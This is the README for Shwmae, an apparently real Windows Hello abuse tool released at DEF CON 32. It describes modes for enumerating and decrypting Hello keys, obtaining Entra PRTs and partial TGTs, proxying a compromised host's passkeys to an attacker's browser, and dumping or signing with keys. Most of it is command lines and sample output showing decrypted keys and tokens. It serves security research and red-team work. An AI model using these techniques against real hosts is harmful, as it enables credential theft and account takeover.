Shwmae (shuh-my) is a Windows Hello abuse tool that was released during DEF CON 32 as part of the Abusing Windows Hello Without a Severed Hand talk. The purpose of the tool is to abuse Windows Hello from a privileged user context.
Shwmae Copyright (C) 2024 Shwmae enum (Default Verb) Enumerate Windows Hello protectors, keys and credentials sign Sign data using a Windows Hello protected certificate prt Obtain an Entra PRT and partial TGT usable with Rubeus webauthn Create a webserver to proxy WebAuthn requests from an attacking host dump Dump Windows Hello protected keys when backed by software help Display more information on a specific command. version Display version information.
The tool features several modes of operation.
When no arguments are provided enumeration is the default mode, alternatively you can use the enum command. Enumeration mode will enumerate all Windows Hello containers available, and recursively enumerate all Windows Hello enrolled keys and protectors within the container. In instances where no TPM is present on the host, a hash is generated for the PIN protector than can be cracked offline using hashcat.
The biometric protector will be decrypted automatically but the PIN and Recovery protectors can be decrypted using the /pin and /token arguments respectively. Only a single protector needs to be decrypted from each container to allow abuse of the Windows Hello keys within that container.
Shwmae [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd GINGEmary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111) Provider : Microsoft Platform Crypto Provider Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW... Recovery Key : Use /token argument to decrypt recovery key ** Protectors ** Type : Pin Pin Type : Numeric Length : 8 Decrypted : Supply /pin argument to attempt decryption Type : Bio Encryption Type: Aes GCM Nonce : cacf46896844d3f96a55fd8c GCM AuthData : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c GCM Tag : f5d6d1c3e35f944038e03013851d6d69 Decrypted : True (Bio Key Correct) ExtPin : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94 DecryptPin : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1 SignPin : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3 Type : Recovery IV : 49b2c5b8416e5563387e10a8a3d9ae68 ** Credentials ** Resource : WinBio Key Resource SID : S-1-5-21-1003644063-402998240-3342588708-1111 Protector Key : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52 ** Keys ** Name : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] Provider : Microsoft Platform Crypto Provider Key Id : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824} Key File : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY Azure Tenant Id : de60a4fa-d583-4eb0-ab66-ce358af8279c Azure User : [email protected] Azure kid : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw= Name : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0 Provider : Microsoft Platform Crypto Provider Key Id : {36E18DBB-52AC-4198-BD34-55B3490A575C} Key File : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY FIDO Relay Party : github.com FIDO Public Key : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR FIDO Cred Id : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co FIDO User Id : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116p-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA FIDO User : mary-gruber FIDO Display Name: mary-gruber FIDO Sign Count : 2 Name : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key) Provider : Microsoft Software Key Storage Provider Key Id : {7418B315-A00B-4113-A0EC-5C51718D11C5} Key File : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7 Name : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9 Provider : Microsoft Software Key Storage Provider Key Id : {696644C4-EA34-400C-99D2-8B5E38095AA6} Key File : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7
The PRT operating mode facilitates generating an initial PRT and renewing existing PRT's via the prt command by utilizing any Entra enrolled Windows Hello keys. If cloud trust is enabled within the tenant, the cloud TGT is decrypted and can be used to authenticate as the user against on premises Active Directory using Rubeus.
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111 [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd [=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw= [+] Successfully decrypted NGC key set from protector type Bio Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0 Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
For PRT renewals the PRT and session key are required from the initial PRT request.
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==The WebAuthn operating mode sets up a simple web API via the webauthn command that will accept WebAuthn assertion requests from the ShwmaeExt web browser extension from another host.
Once the WebAuthn HTTP listener is setup on a compromised host, which defaults to listening on port 8000, you can install the ShwmaeExt within an attacking browser. Once you set the listener URL within the extension, you can login via Passkey authentication using any credentials available from the compromised host. You can find the exploded extension inside the ShwmaeExt folder.
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] WebAuthn proxy running, press enter to exitThe dump command can be used for extracting Windows Hello backed private keys that are backed by the Software Key Storage provider. You cannot use this mode to extract keys that are backed by the Platform Key Storage Provider.
Shwmae.exe dump --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
The sign command can be used for signing arbitrary data with a specific key. This mode can be useful in scenarios where no specific integration exists within the tool.
The --key-name argument is used to target the specific Windows Hello key pair to use and the --data argument is used to calculate the signature. The data should be presented as a Base64 encoded string, but the string is first decoded to binary prior to generating the signature. The binary signature is converted to Base64 and printed to the console.
Shwmae.exe sign --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] --data AAAAAA [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd [=] Found key in container 1f75e567-63ab-4f90-b1f6-cfc30b399085 for user GINGEmary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111) [+] Successfully decrypted NGC key set from protector type Bio [+] Success: MogfSZKrtYs9kfy0jPrVODpu4/eJfXHvGu+TQJzf9JG9JMug2+rmG7zEBuzUunMVy7jyHSBwv1eQ78yQr/G5y0VfoeKYnW5UbKuO9ZnImTuIFem4RE7RhQ84Pm4BgEQ3W16ebcf5CIHnIOZpOec6nbh7WZBIi2AG8N5fWK9itWA1Uk7j1TAFO7gCfAbrE9O6KiMLe4AAdw2vjR5s9RVqw1MdacWKOBDwGVm+VmHY6kYXSCovyWJ+ESoi75fRfRSgyPcHViNOP77pnUDOeMfl9nsE6C0UEKSCvJ+GGJy3u5uiK5fC1w73TG8s/Y2O6YSJpjnXqC5ZJhrE/vLtJNtGWg==
